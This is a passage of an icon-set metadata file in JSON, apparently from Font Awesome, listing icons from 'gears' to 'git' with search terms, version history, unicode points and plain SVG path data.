        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M495.9 166.6c3.2 8.7 .5 18.4-6.4 24.6l-43.3 39.4c1.1 8.3 1.7 16.8 1.7 25.4s-.6 17.1-1.7 25.4l43.3 39.4c6.9 6.2 9.6 15.9 6.4 24.6c-4.4 11.9-9.7 23.3-15.8 34.3l-4.7 8.1c-6.6 11-14 21.4-22.1 31.2c-5.9 7.2-15.7 9.6-24.5 6.8l-55.7-17.7c-13.4 10.3-28.2 18.9-44 25.4l-12.5 57.1c-2 9.1-9 16.3-18.2 17.8c-13.8 2.3-28 3.5-42.5 3.5s-28.7-1.2-42.5-3.5c-9.2-1.5-16.2-8.7-18.2-17.8l-12.5-57.1c-15.8-6.5-30.6-15.1-44-25.4L83.1 425.9c-8.8 2.8-18.6 .3-24.5-6.8c-8.1-9.8-15.5-20.2-22.1-31.2l-4.7-8.1c-6.1-11-11.4-22.4-15.8-34.3c-3.2-8.7-.5-18.4 6.4-24.6l43.3-39.4C64.6 273.1 64 264.6 64 256s.6-17.1 1.7-25.4L22.4 191.2c-6.9-6.2-9.6-15.9-6.4-24.6c4.4-11.9 9.7-23.3 15.8-34.3l4.7-8.1c6.6-11 14-21.4 22.1-31.2c5.9-7.2 15.7-9.6 24.5-6.8l55.7 17.7c13.4-10.3 28.2-18.9 44-25.4l12.5-57.1c2-9.1 9-16.3 18.2-17.8C227.3 1.2 241.5 0 256 0s28.7 1.2 42.5 3.5c9.2 1.5 16.2 8.7 18.2 17.8l12.5 57.1c15.8 6.5 30.6 15.1 44 25.4l55.7-17.7c8.8-2.8 18.6-.3 24.5 6.8c8.1 9.8 15.5 20.2 22.1 31.2l4.7 8.1c6.1 11 11.4 22.4 15.8 34.3zM256 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M495.9 166.6c3.2 8.7 .5 18.4-6.4 24.6l-43.3 39.4c1.1 8.3 1.7 16.8 1.7 25.4s-.6 17.1-1.7 25.4l43.3 39.4c6.9 6.2 9.6 15.9 6.4 24.6c-4.4 11.9-9.7 23.3-15.8 34.3l-4.7 8.1c-6.6 11-14 21.4-22.1 31.2c-5.9 7.2-15.7 9.6-24.5 6.8l-55.7-17.7c-13.4 10.3-28.2 18.9-44 25.4l-12.5 57.1c-2 9.1-9 16.3-18.2 17.8c-13.8 2.3-28 3.5-42.5 3.5s-28.7-1.2-42.5-3.5c-9.2-1.5-16.2-8.7-18.2-17.8l-12.5-57.1c-15.8-6.5-30.6-15.1-44-25.4L83.1 425.9c-8.8 2.8-18.6 .3-24.5-6.8c-8.1-9.8-15.5-20.2-22.1-31.2l-4.7-8.1c-6.1-11-11.4-22.4-15.8-34.3c-3.2-8.7-.5-18.4 6.4-24.6l43.3-39.4C64.6 273.1 64 264.6 64 256s.6-17.1 1.7-25.4L22.4 191.2c-6.9-6.2-9.6-15.9-6.4-24.6c4.4-11.9 9.7-23.3 15.8-34.3l4.7-8.1c6.6-11 14-21.4 22.1-31.2c5.9-7.2 15.7-9.6 24.5-6.8l55.7 17.7c13.4-10.3 28.2-18.9 44-25.4l12.5-57.1c2-9.1 9-16.3 18.2-17.8C227.3 1.2 241.5 0 256 0s28.7 1.2 42.5 3.5c9.2 1.5 16.2 8.7 18.2 17.8l12.5 57.1c15.8 6.5 30.6 15.1 44 25.4l55.7-17.7c8.8-2.8 18.6-.3 24.5 6.8c8.1 9.8 15.5 20.2 22.1 31.2l4.7 8.1c6.1 11 11.4 22.4 15.8 34.3zM256 336a80 80 0 1 0 0-160 80 80 0 1 0 0 160z"
      }
    },
    "free": ["solid"]
  },
  "gears": {
    "aliases": {
      "names": ["cogs"],
      "unicodes": {
        "secondary": ["10f085"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["gears", "mechanical", "settings", "sprocket", "wheel"]
    },
    "styles": ["solid"],
    "unicode": "f085",
    "label": "Gears",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M308.5 135.3c7.1-6.3 9.9-16.2 6.2-25c-2.3-5.3-4.8-10.5-7.6-15.5L304 89.4c-3-5-6.3-9.9-9.8-14.6c-5.7-7.6-15.7-10.1-24.7-7.1l-28.2 9.3c-10.7-8.8-23-16-36.2-20.9L199 27.1c-1.9-9.3-9.1-16.7-18.5-17.8C173.9 8.4 167.2 8 160.4 8h-.7c-6.8 0-13.5 .4-20.1 1.2c-9.4 1.1-16.6 8.6-18.5 17.8L115 56.1c-13.3 5-25.5 12.1-36.2 20.9L50.5 67.8c-9-3-19-.5-24.7 7.1c-3.5 4.7-6.8 9.6-9.9 14.6l-3 5.3c-2.8 5-5.3 10.2-7.6 15.6c-3.7 8.7-.9 18.6 6.2 25l22.2 19.8C32.6 161.9 32 168.9 32 176s.6 14.1 1.7 20.9L11.5 216.7c-7.1 6.3-9.9 16.2-6.2 25c2.3 5.3 4.8 10.5 7.6 15.6l3 5.2c3 5.1 6.3 9.9 9.9 14.6c5.7 7.6 15.7 10.1 24.7 7.1l28.2-9.3c10.7 8.8 23 16 36.2 20.9l6.1 29.1c1.9 9.3 9.1 16.7 18.5 17.8c6.7 .8 13.5 1.2 20.4 1.2s13.7-.4 20.4-1.2c9.4-1.1 16.6-8.6 18.5-17.8l6.1-29.1c13.3-5 25.5-12.1 36.2-20.9l28.2 9.3c9 3 19 .5 24.7-7.1c3.5-4.7 6.8-9.5 9.8-14.6l3.1-5.4c2.8-5 5.3-10.2 7.6-15.5c3.7-8.7 .9-18.6-6.2-25l-22.2-19.8c1.1-6.8 1.7-13.8 1.7-20.9s-.6-14.1-1.7-20.9l22.2-19.8zM112 176a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM504.7 500.5c6.3 7.1 16.2 9.9 25 6.2c5.3-2.3 10.5-4.8 15.5-7.6l5.4-3.1c5-3 9.9-6.3 14.6-9.8c7.6-5.7 10.1-15.7 7.1-24.7l-9.3-28.2c8.8-10.7 16-23 20.9-36.2l29.1-6.1c9.3-1.9 16.7-9.1 17.8-18.5c.8-6.7 1.2-13.5 1.2-20.4s-.4-13.7-1.2-20.4c-1.1-9.4-8.6-16.6-17.8-18.5L583.9 307c-5-13.3-12.1-25.5-20.9-36.2l9.3-28.2c3-9 .5-19-7.1-24.7c-4.7-3.5-9.6-6.8-14.6-9.9l-5.3-3c-5-2.8-10.2-5.3-15.6-7.6c-8.7-3.7-18.6-.9-25 6.2l-19.8 22.2c-6.8-1.1-13.8-1.7-20.9-1.7s-14.1 .6-20.9 1.7l-19.8-22.2c-6.3-7.1-16.2-9.9-25-6.2c-5.3 2.3-10.5 4.8-15.6 7.6l-5.2 3c-5.1 3-9.9 6.3-14.6 9.9c-7.6 5.7-10.1 15.7-7.1 24.7l9.3 28.2c-8.8 10.7-16 23-20.9 36.2L315.1 313c-9.3 1.9-16.7 9.1-17.8 18.5c-.8 6.7-1.2 13.5-1.2 20.4s.4 13.7 1.2 20.4c1.1 9.4 8.6 16.6 17.8 18.5l29.1 6.1c5 13.3 12.1 25.5 20.9 36.2l-9.3 28.2c-3 9-.5 19 7.1 24.7c4.7 3.5 9.5 6.8 14.6 9.8l5.4 3.1c5 2.8 10.2 5.3 15.5 7.6c8.7 3.7 18.6 .9 25-6.2l19.8-22.2c6.8 1.1 13.8 1.7 20.9 1.7s14.1-.6 20.9-1.7l19.8 22.2zM464 304a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M308.5 135.3c7.1-6.3 9.9-16.2 6.2-25c-2.3-5.3-4.8-10.5-7.6-15.5L304 89.4c-3-5-6.3-9.9-9.8-14.6c-5.7-7.6-15.7-10.1-24.7-7.1l-28.2 9.3c-10.7-8.8-23-16-36.2-20.9L199 27.1c-1.9-9.3-9.1-16.7-18.5-17.8C173.9 8.4 167.2 8 160.4 8h-.7c-6.8 0-13.5 .4-20.1 1.2c-9.4 1.1-16.6 8.6-18.5 17.8L115 56.1c-13.3 5-25.5 12.1-36.2 20.9L50.5 67.8c-9-3-19-.5-24.7 7.1c-3.5 4.7-6.8 9.6-9.9 14.6l-3 5.3c-2.8 5-5.3 10.2-7.6 15.6c-3.7 8.7-.9 18.6 6.2 25l22.2 19.8C32.6 161.9 32 168.9 32 176s.6 14.1 1.7 20.9L11.5 216.7c-7.1 6.3-9.9 16.2-6.2 25c2.3 5.3 4.8 10.5 7.6 15.6l3 5.2c3 5.1 6.3 9.9 9.9 14.6c5.7 7.6 15.7 10.1 24.7 7.1l28.2-9.3c10.7 8.8 23 16 36.2 20.9l6.1 29.1c1.9 9.3 9.1 16.7 18.5 17.8c6.7 .8 13.5 1.2 20.4 1.2s13.7-.4 20.4-1.2c9.4-1.1 16.6-8.6 18.5-17.8l6.1-29.1c13.3-5 25.5-12.1 36.2-20.9l28.2 9.3c9 3 19 .5 24.7-7.1c3.5-4.7 6.8-9.5 9.8-14.6l3.1-5.4c2.8-5 5.3-10.2 7.6-15.5c3.7-8.7 .9-18.6-6.2-25l-22.2-19.8c1.1-6.8 1.7-13.8 1.7-20.9s-.6-14.1-1.7-20.9l22.2-19.8zM112 176a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM504.7 500.5c6.3 7.1 16.2 9.9 25 6.2c5.3-2.3 10.5-4.8 15.5-7.6l5.4-3.1c5-3 9.9-6.3 14.6-9.8c7.6-5.7 10.1-15.7 7.1-24.7l-9.3-28.2c8.8-10.7 16-23 20.9-36.2l29.1-6.1c9.3-1.9 16.7-9.1 17.8-18.5c.8-6.7 1.2-13.5 1.2-20.4s-.4-13.7-1.2-20.4c-1.1-9.4-8.6-16.6-17.8-18.5L583.9 307c-5-13.3-12.1-25.5-20.9-36.2l9.3-28.2c3-9 .5-19-7.1-24.7c-4.7-3.5-9.6-6.8-14.6-9.9l-5.3-3c-5-2.8-10.2-5.3-15.6-7.6c-8.7-3.7-18.6-.9-25 6.2l-19.8 22.2c-6.8-1.1-13.8-1.7-20.9-1.7s-14.1 .6-20.9 1.7l-19.8-22.2c-6.3-7.1-16.2-9.9-25-6.2c-5.3 2.3-10.5 4.8-15.6 7.6l-5.2 3c-5.1 3-9.9 6.3-14.6 9.9c-7.6 5.7-10.1 15.7-7.1 24.7l9.3 28.2c-8.8 10.7-16 23-20.9 36.2L315.1 313c-9.3 1.9-16.7 9.1-17.8 18.5c-.8 6.7-1.2 13.5-1.2 20.4s.4 13.7 1.2 20.4c1.1 9.4 8.6 16.6 17.8 18.5l29.1 6.1c5 13.3 12.1 25.5 20.9 36.2l-9.3 28.2c-3 9-.5 19 7.1 24.7c4.7 3.5 9.5 6.8 14.6 9.8l5.4 3.1c5 2.8 10.2 5.3 15.5 7.6c8.7 3.7 18.6 .9 25-6.2l19.8-22.2c6.8 1.1 13.8 1.7 20.9 1.7s14.1-.6 20.9-1.7l19.8 22.2zM464 304a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "gem": {
    "aliases": {
      "unicodes": {
        "composite": ["1f48e"],
        "secondary": ["10f3a5"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "diamond",
        "gem",
        "gem stone",
        "jewel",
        "jewelry",
        "sapphire",
        "stone",
        "treasure"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f3a5",
    "label": "Gem",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M116.7 33.8c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152zm38.5 39.8c-3.3 2.5-4.2 7-2.1 10.5l57.4 95.6L63.3 192c-4.1 .3-7.3 3.8-7.3 8s3.2 7.6 7.3 8l192 16c.4 0 .9 0 1.3 0l192-16c4.1-.3 7.3-3.8 7.3-8s-3.2-7.6-7.3-8L301.5 179.8l57.4-95.6c2.1-3.5 1.2-8.1-2.1-10.5s-7.9-2-10.7 1L256 172.2 165.9 74.6c-2.8-3-7.4-3.4-10.7-1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M116.7 33.8c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152zm38.5 39.8c-3.3 2.5-4.2 7-2.1 10.5l57.4 95.6L63.3 192c-4.1 .3-7.3 3.8-7.3 8s3.2 7.6 7.3 8l192 16c.4 0 .9 0 1.3 0l192-16c4.1-.3 7.3-3.8 7.3-8s-3.2-7.6-7.3-8L301.5 179.8l57.4-95.6c2.1-3.5 1.2-8.1-2.1-10.5s-7.9-2-10.7 1L256 172.2 165.9 74.6c-2.8-3-7.4-3.4-10.7-1z"
      },
      "regular": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M168.5 72L256 165l87.5-93h-175zM383.9 99.1L311.5 176h129L383.9 99.1zm50 124.9H256 78.1L256 420.3 433.9 224zM71.5 176h129L128.1 99.1 71.5 176zm434.3 40.1l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M168.5 72L256 165l87.5-93h-175zM383.9 99.1L311.5 176h129L383.9 99.1zm50 124.9H256 78.1L256 420.3 433.9 224zM71.5 176h129L128.1 99.1 71.5 176zm434.3 40.1l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "genderless": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f22d"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["androgynous", "asexual", "gender", "sexless"]
    },
    "styles": ["solid"],
    "unicode": "f22d",
    "label": "Genderless",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 144a112 112 0 1 1 0 224 112 112 0 1 1 0-224zm0 288a176 176 0 1 0 0-352 176 176 0 1 0 0 352z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 144a112 112 0 1 1 0 224 112 112 0 1 1 0-224zm0 288a176 176 0 1 0 0-352 176 176 0 1 0 0 352z"
      }
    },
    "free": ["solid"]
  },
  "get-pocket": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f265",
    "label": "Get Pocket",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z"
      }
    },
    "free": ["brands"]
  },
  "gg": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f260",
    "label": "GG Currency",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z"
      }
    },
    "free": ["brands"]
  },
  "gg-circle": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f261",
    "label": "GG Currency Circle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z"
      }
    },
    "free": ["brands"]
  },
  "ghost": {
    "aliases": {
      "unicodes": {
        "composite": ["1f47b"],
        "secondary": ["10f6e2"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apparition",
        "blinky",
        "clyde",
        "creature",
        "face",
        "fairy tale",
        "fantasy",
        "floating",
        "ghost",
        "halloween",
        "holiday",
        "inky",
        "monster",
        "pacman",
        "pinky",
        "spirit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e2",
    "label": "Ghost",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M40.1 467.1l-11.2 9c-3.2 2.5-7.1 3.9-11.1 3.9C8 480 0 472 0 462.2V192C0 86 86 0 192 0S384 86 384 192V462.2c0 9.8-8 17.8-17.8 17.8c-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M40.1 467.1l-11.2 9c-3.2 2.5-7.1 3.9-11.1 3.9C8 480 0 472 0 462.2V192C0 86 86 0 192 0S384 86 384 192V462.2c0 9.8-8 17.8-17.8 17.8c-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "gift": {
    "aliases": {
      "unicodes": {
        "composite": ["1f381"],
        "secondary": ["10f06b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "box",
        "celebration",
        "christmas",
        "generosity",
        "gift",
        "giving",
        "holiday",
        "party",
        "present",
        "wrapped",
        "wrapped gift",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f06b",
    "label": "Gift",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M190.5 68.8L225.3 128H224 152c-22.1 0-40-17.9-40-40s17.9-40 40-40h2.2c14.9 0 28.8 7.9 36.3 20.8zM64 88c0 14.4 3.5 28 9.6 40H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H438.4c6.1-12 9.6-25.6 9.6-40c0-48.6-39.4-88-88-88h-2.2c-31.9 0-61.5 16.9-77.7 44.4L256 85.5l-24.1-41C215.7 16.9 186.1 0 154.2 0H152C103.4 0 64 39.4 64 88zm336 0c0 22.1-17.9 40-40 40H288h-1.3l34.8-59.2C329.1 55.9 342.9 48 357.8 48H360c22.1 0 40 17.9 40 40zM32 288V464c0 26.5 21.5 48 48 48H224V288H32zM288 512H432c26.5 0 48-21.5 48-48V288H288V512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M190.5 68.8L225.3 128H224 152c-22.1 0-40-17.9-40-40s17.9-40 40-40h2.2c14.9 0 28.8 7.9 36.3 20.8zM64 88c0 14.4 3.5 28 9.6 40H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H438.4c6.1-12 9.6-25.6 9.6-40c0-48.6-39.4-88-88-88h-2.2c-31.9 0-61.5 16.9-77.7 44.4L256 85.5l-24.1-41C215.7 16.9 186.1 0 154.2 0H152C103.4 0 64 39.4 64 88zm336 0c0 22.1-17.9 40-40 40H288h-1.3l34.8-59.2C329.1 55.9 342.9 48 357.8 48H360c22.1 0 40 17.9 40 40zM32 288V464c0 26.5 21.5 48 48 48H224V288H32zM288 512H432c26.5 0 48-21.5 48-48V288H288V512z"
      }
    },
    "free": ["solid"]
  },
  "gifts": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f79c"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "christmas",
        "generosity",
        "giving",
        "holiday",
        "party",
        "present",
        "wrapped",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f79c",
    "label": "Gifts",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M200.6 32C205 19.5 198.5 5.8 186 1.4S159.8 3.5 155.4 16L144.7 46.2l-9.9-29.8C130.6 3.8 117-3 104.4 1.2S85 19 89.2 31.6l8.3 25-27.4-20c-10.7-7.8-25.7-5.4-33.5 5.3s-5.4 25.7 5.3 33.5L70.2 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H200.6c-5.4-9.4-8.6-20.3-8.6-32V256c0-29.9 20.5-55 48.2-62c1.8-31 17.1-58.2 40.1-76.1C271.7 104.7 256.9 96 240 96H217.8l28.3-20.6c10.7-7.8 13.1-22.8 5.3-33.5s-22.8-13.1-33.5-5.3L192.5 55.1 200.6 32zM363.5 185.5L393.1 224H344c-13.3 0-24-10.7-24-24c0-13.1 10.8-24 24.2-24c7.6 0 14.7 3.5 19.3 9.5zM272 200c0 8.4 1.4 16.5 4.1 24H272c-26.5 0-48 21.5-48 48v80H416V256h32v96H640V272c0-26.5-21.5-48-48-48h-4.1c2.7-7.5 4.1-15.6 4.1-24c0-39.9-32.5-72-72.2-72c-22.4 0-43.6 10.4-57.3 28.2L432 195.8l-30.5-39.6c-13.7-17.8-35-28.2-57.3-28.2c-39.7 0-72.2 32.1-72.2 72zM224 464c0 26.5 21.5 48 48 48H416V384H224v80zm224 48H592c26.5 0 48-21.5 48-48V384H448V512zm96-312c0 13.3-10.7 24-24 24H470.9l29.6-38.5c4.6-5.9 11.7-9.5 19.3-9.5c13.4 0 24.2 10.9 24.2 24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M200.6 32C205 19.5 198.5 5.8 186 1.4S159.8 3.5 155.4 16L144.7 46.2l-9.9-29.8C130.6 3.8 117-3 104.4 1.2S85 19 89.2 31.6l8.3 25-27.4-20c-10.7-7.8-25.7-5.4-33.5 5.3s-5.4 25.7 5.3 33.5L70.2 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H200.6c-5.4-9.4-8.6-20.3-8.6-32V256c0-29.9 20.5-55 48.2-62c1.8-31 17.1-58.2 40.1-76.1C271.7 104.7 256.9 96 240 96H217.8l28.3-20.6c10.7-7.8 13.1-22.8 5.3-33.5s-22.8-13.1-33.5-5.3L192.5 55.1 200.6 32zM363.5 185.5L393.1 224H344c-13.3 0-24-10.7-24-24c0-13.1 10.8-24 24.2-24c7.6 0 14.7 3.5 19.3 9.5zM272 200c0 8.4 1.4 16.5 4.1 24H272c-26.5 0-48 21.5-48 48v80H416V256h32v96H640V272c0-26.5-21.5-48-48-48h-4.1c2.7-7.5 4.1-15.6 4.1-24c0-39.9-32.5-72-72.2-72c-22.4 0-43.6 10.4-57.3 28.2L432 195.8l-30.5-39.6c-13.7-17.8-35-28.2-57.3-28.2c-39.7 0-72.2 32.1-72.2 72zM224 464c0 26.5 21.5 48 48 48H416V384H224v80zm224 48H592c26.5 0 48-21.5 48-48V384H448V512zm96-312c0 13.3-10.7 24-24 24H470.9l29.6-38.5c4.6-5.9 11.7-9.5 19.3-9.5c13.4 0 24.2 10.9 24.2 24z"
      }
    },
    "free": ["solid"]
  },
  "git": {
    "changes": ["4.1.0", "5.0.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d3",
    "label": "Git",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
